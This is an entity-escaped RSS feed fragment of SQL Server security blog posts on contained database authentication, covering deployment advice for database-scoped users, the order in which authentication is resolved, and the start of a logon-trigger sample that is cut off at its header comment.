&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; &amp;nbsp;If you need to create out-of-the-box principals for your application, it is strongly recommended to define user-defined roles instead of pre-configured user with password. During the deployment of the application, it should be possible to request the end user to create users (either Windows principals or create T-SQL users with password) and add such principals to the appropriate roles during the setup process. If it is not possible to avoid the creation of preconfigured users with passwords, it is strongly recommended to not use a default password; instead, the recommendation is to set a end user-defined password during the application setup process (i.e. think of the &amp;ldquo;set SA password&amp;rdquo; step during SQL Server or Windows process).&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; Once the application has been deployed and it is in use, there may be an arbitrary number of users for the systems. The ability to have DB-scoped users that can be authenticated by the database itself may be a temptation to grant permissions directly to users since the DB can be moved from one SQL Server instance to another without setting logins; but it is still recommended to grant permissions to user-defined roles and manage role memberships instead of managing permissions directly.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp; I hope this tips will be helpful in securely deploy and use DB-scoped users.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNoSpacing" style="margin: 0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;-Raul Garcia&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;SDE/T&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;SQL Server Engine&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10117383" width="1" height="1"&gt;</description></item><item><title>Contained Database Authentication in depth </title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/08/contained-database-authentication-in-depth.aspx</link><pubDate>Wed, 08 Dec 2010 00:24:59 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10101726</guid><dc:creator>Lyudmila Fokina</dc:creator><slash:comments>4</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10101726</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/08/contained-database-authentication-in-depth.aspx#comments</comments><description>&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;To connect with contained user credentials you have to specify contained database in the connection string. If no database is specified the connection will try to do traditional authentication as a login in master database.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;If the database does not support containment, then the user will be logged into master and then connect to the database (as it currently exists in shipping versions of SQL Server).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Note, that in SQL Server &amp;ldquo;Denali&amp;rdquo; we introduce &lt;i style="mso-bidi-font-style: normal;"&gt;Partially Contained&lt;/i&gt; databases. Partial Containment implies that some server dependences could still exist in such databases. As such, traditional users mapped to logins can coexist with new contained users in the same database and we support both &lt;i style="mso-bidi-font-style: normal;"&gt;Server level authentication&lt;/i&gt; (connecting with a login) and &lt;i style="mso-bidi-font-style: normal;"&gt;Database level authentication&lt;/i&gt; (connecting with a database user). Moreover, as users and logins don&amp;rsquo;t share the same namespace, there could be a situation when you have a login &lt;i style="mso-bidi-font-style: normal;"&gt;login1 &lt;/i&gt;in master database and contained user &lt;i style="mso-bidi-font-style: normal;"&gt;login1 &lt;/i&gt;in contained database &amp;ndash; they are different entities and both may be able to connect to this contained database (let&amp;rsquo;s say the login &lt;i style="mso-bidi-font-style: normal;"&gt;login1 &lt;/i&gt;has a corresponding user &lt;i style="mso-bidi-font-style: normal;"&gt;login2 &lt;/i&gt;mapped to it in the contained database) under different circumstances. SQL Server must decide what kind of authentication it is &amp;ndash;server level authentication or database level authentication.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;Also a Windows Authentication user may or may not have a corresponding login and therefore the trusted connection may use server level authentication or database level authentication.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;So, during the login process SQL Server must decide the type of authentication used for this connection. The following algorithm demonstrates how this is determined:&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;img src="http://blogs.msdn.com/resized-image.ashx/__size/550x0/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-92-93/8130.alg.jpg" border="0" /&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;This algorithm has the following consequences:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;1.&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;For SQL Server Authentication, if a database is specified in connection string and the database is a contained, then database level authentication will first be attempted and if a matching contained user is not found, then authentication will fall back to the server level and will look for a matching login.&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;2.&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;If based on the decision made in #1we proceed with database level authentication and password validation fails at the database, then we will terminate the connection and no fallback processing will be involved. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-fareast-font-family: Calibri; mso-fareast-theme-font: minor-latin; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;span style="mso-list: Ignore;"&gt;3.&lt;span style="font: 7pt 'Times New Roman';"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;The consequence of #2 is that if you have contained database SQL Server user and a SQL Server Authenticated login in master having the same name and try to connect specifying contained database in the connection string you will always end up with database authentication regardless of the password (user&amp;rsquo;s or login&amp;rsquo;s) you are specifying. To be able to connect as a login, in this case, you will have to connect to master (or any non contained database) and then switch to the database using &amp;lsquo;USE db&amp;rsquo; statement. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle"&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;Note, that this is a not recommended scenario. Try to avoid such ambiguity to avoid possible confusions.&lt;/span&gt;&lt;span style="font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="line-height: 115%; font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-fareast-font-family: SimSun; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-fareast; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ansi-language: EN-US; mso-bidi-language: AR-SA;"&gt;For Window Authentication, if a login exists for the connecting principal, server level authentication logic will be followed.&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;If no Windows principal or group exists at the server level, the authentication will then proceed at the database level.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="line-height: 115%; font-family: 'Calibri','sans-serif'; font-size: 11pt; mso-fareast-font-family: SimSun; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-fareast; mso-bidi-theme-font: minor-latin; mso-ascii-theme-font: minor-latin; mso-hansi-theme-font: minor-latin; mso-ansi-language: EN-US; mso-bidi-language: AR-SA;"&gt;
&lt;p class="MsoNormal" style="margin: 0in 0in 0pt; mso-layout-grid-align: none;"&gt;Also note, that previously existed user without login (&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;Create&lt;/span&gt;&lt;span style="font-family: Consolas; font-size: 9.5pt;"&gt; &lt;span style="color: fuchsia;"&gt;user&lt;/span&gt; &lt;span style="color: teal;"&gt;user_01&lt;/span&gt; &lt;span style="color: blue;"&gt;without&lt;/span&gt; &lt;span style="color: blue;"&gt;login&lt;/span&gt;&lt;/span&gt;) is a different then contained user with password and cannot login the SQL Server.&lt;span style="font-family: Consolas; color: blue; font-size: 9.5pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;/span&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=10101726" width="1" height="1"&gt;</description></item><item><title>Contained Database Authentication: How to control which databases are allowed to authenticate users using logon triggers</title><link>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/06/contained-database-authentication-how-to-control-which-databases-are-allowed-to-authenticate-users-using-logon-triggers.aspx</link><pubDate>Tue, 07 Dec 2010 01:52:00 GMT</pubDate><guid isPermaLink="false">91d46819-8472-40ad-a661-2c78acb4018c:10101125</guid><dc:creator>Raul Garcia - MS</dc:creator><slash:comments>0</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.msdn.com/b/sqlsecurity/rsscomments.aspx?WeblogPostID=10101125</wfw:commentRss><comments>http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/06/contained-database-authentication-how-to-control-which-databases-are-allowed-to-authenticate-users-using-logon-triggers.aspx#comments</comments><description>&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&amp;nbsp; With the release of &lt;/span&gt;&lt;/span&gt;&lt;a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=6a04f16f-f6be-4f92-9c92-f7e5677d91f9&amp;amp;displaylang=en"&gt;&lt;span style="font-family: Calibri; color: #0000ff;"&gt;&lt;span style="font-size: small;"&gt;Microsoft SQL Server code-name &amp;ldquo;Denali&amp;rdquo; Community Technology Preview 1 (CTP1)&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt; and the introduction of Contained Database (CDB) (&lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ff929071(SQL.110).aspx"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: #0000ff;"&gt;http://msdn.microsoft.com/en-us/library/ff929071(SQL.110).aspx&lt;/span&gt;&lt;span class="MsoCommentReference"&gt;&lt;span style="line-height: 115%; font-family: 'Calibri','sans-serif'; color: windowtext; text-decoration: none; text-underline: none;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;), we also introduced the capability of &lt;span class="MsoCommentReference"&gt;&lt;span style="line-height: 115%; font-family: 'Calibri','sans-serif';"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;database authentication (&lt;/span&gt;&lt;/span&gt;&lt;a href="http://msdn.microsoft.com/en-us/library/ms173463(v=SQL.110).aspx"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="color: #0000ff;"&gt;http://msdn.microsoft.com/en-us/library/ms173463(v=SQL.110).aspx&lt;/span&gt;&lt;span class="MsoCommentReference"&gt;&lt;span style="line-height: 115%; font-family: 'Calibri','sans-serif'; color: windowtext; text-decoration: none; text-underline: none;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;a href="http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/03/contained-database-authentication-introduction.aspx"&gt;&lt;span style="font-family: Calibri; color: #0000ff;"&gt;&lt;span style="font-size: small;"&gt;http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/03/contained-database-authentication-introduction.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;, &lt;/span&gt;&lt;/span&gt;&lt;a href="http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/04/contained-database-authentication-monitoring-and-controlling-contained-users.aspx"&gt;&lt;span style="font-family: Calibri; color: #0000ff;"&gt;&lt;span style="font-size: small;"&gt;http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/04/contained-database-authentication-monitoring-and-controlling-contained-users.aspx&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="font-size: small;"&gt;).&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp; Since the configuration setting&amp;nbsp; that governs CDB &amp;amp; database authentication is a server scoped setting and the option to modify the containment property for a database is database -scoped; some DBAs may be wondering how to control which databases are allowed to authenticate users.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;&amp;nbsp;Database authentication still fires logon triggers, therefore providing a server-scoped access control where the DBA can specify a policy based on the authentication information available. Below are a few of the tools you may find useful when creating logon triggers that are CDB-authentication ready.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp; The information provided by &lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;sys&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;.&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;dm_exec_sessions &lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;has changed slightly to reflect this new authentication option.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;&amp;nbsp;A new column, &lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;authenticating_database_id&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt; has been added to &lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;sys&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;.&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;dm_exec_sessions &lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;that displays the database that authenticated the session:&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpFirst" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"&gt;&lt;span style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"&gt;&lt;span style="mso-list: Ignore"&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;&amp;middot;&lt;/span&gt;&lt;span style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;When the session is an internal task, the value for this new column will be null&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpMiddle" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 0pt 0.5in; mso-list: l0 level1 lfo1"&gt;&lt;span style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"&gt;&lt;span style="mso-list: Ignore"&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;&amp;middot;&lt;/span&gt;&lt;span style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri"&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;&amp;nbsp;When t&lt;/span&gt;&lt;span class="MsoCommentReference"&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Calibri','sans-serif'; FONT-SIZE: 8pt"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;he session uses server-scoped authentication (i.e. T-SQL login, or Windows authentication with full server access), the value is 1 (i.e. the id of master database)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoListParagraphCxSpLast" style="TEXT-INDENT: -0.25in; MARGIN: 0in 0in 10pt 0.5in; mso-list: l0 level1 lfo1"&gt;&lt;span style="FONT-FAMILY: Symbol; mso-fareast-font-family: Symbol; mso-bidi-font-family: Symbol"&gt;&lt;span style="mso-list: Ignore"&gt;&lt;span style="FONT-FAMILY: ; FONT-SIZE: small"&gt;&amp;middot;&lt;/span&gt;&lt;span style="FONT: 7pt 'Times New Roman'"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;When the session is a CDB authenticated session, the value is the DB_ID of the authenticating database at the time of the authentication. &lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;&amp;nbsp;Since the database -authenticated token doesn&amp;rsquo;t have any server-token information (i.e. there is no login), the suser_sname() and any error message referencing the login name (for example, when trying to access another database) will display the SID in string format, for example:&lt;/span&gt;&lt;/p&gt;
&lt;p class="CodeCxSpFirst" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: Cordia New; FONT-SIZE: small"&gt;1&amp;gt; use db_test3&lt;/span&gt;&lt;/p&gt;
&lt;p class="CodeCxSpMiddle" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: Cordia New; FONT-SIZE: small"&gt;2&amp;gt; go&lt;/span&gt;&lt;/p&gt;
&lt;p class="CodeCxSpMiddle" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: Cordia New; FONT-SIZE: small"&gt;Msg 916, Level 14, State 1, Server RAULGA-VM03, Line 1&lt;/span&gt;&lt;/p&gt;
&lt;p class="CodeCxSpLast" style="MARGIN: 0in 0in 0pt"&gt;&lt;span style="FONT-FAMILY: Cordia New; FONT-SIZE: small"&gt;The server principal "S-1-9-3-3323865656-1154615280-1570172340-4238753615." is not able to access the database "db_test3" under the current security context.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;o:p&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp;&amp;nbsp; In order to find the user name used in the connection string, you can make use of another column from &lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;sys&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;.&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;dm_exec_sessions&lt;/span&gt;&lt;span style="LINE-HEIGHT: 115%; FONT-FAMILY: 'Courier New'; FONT-SIZE: 10pt"&gt;: original_login_name&lt;/span&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;. This column should return the user name used in the connection string.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp; It is very important to notice that all of these values are set for the session at the time the session was established, but may not reflect the current state of the server. For example, the user name for the principal may have changed, but the original_login_name column information would still reflect the name used during the authentication (The SID would still be the same in this case).&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="MARGIN: 0in 0in 10pt"&gt;&lt;span style="FONT-FAMILY: Calibri; FONT-SIZE: small"&gt;&amp;nbsp; Now, putting it all together, here is a simple example of a trigger that would restrict authentication based on the authentication DB_ID.&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;/***************************************************************&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: green; FONT-SIZE: 10pt"&gt;* Sample code for CDB authentication-aware logon trigger&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal" style="LINE-HEIGHT: normal; MARGIN: 0in 0in 0pt; TEXT-AUTOSPACE: "&gt;&lt;span style="FONT-FAMILY: 'Courier New'; COLOR: gray; FONT-SIZE: 10pt"&gt;*&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
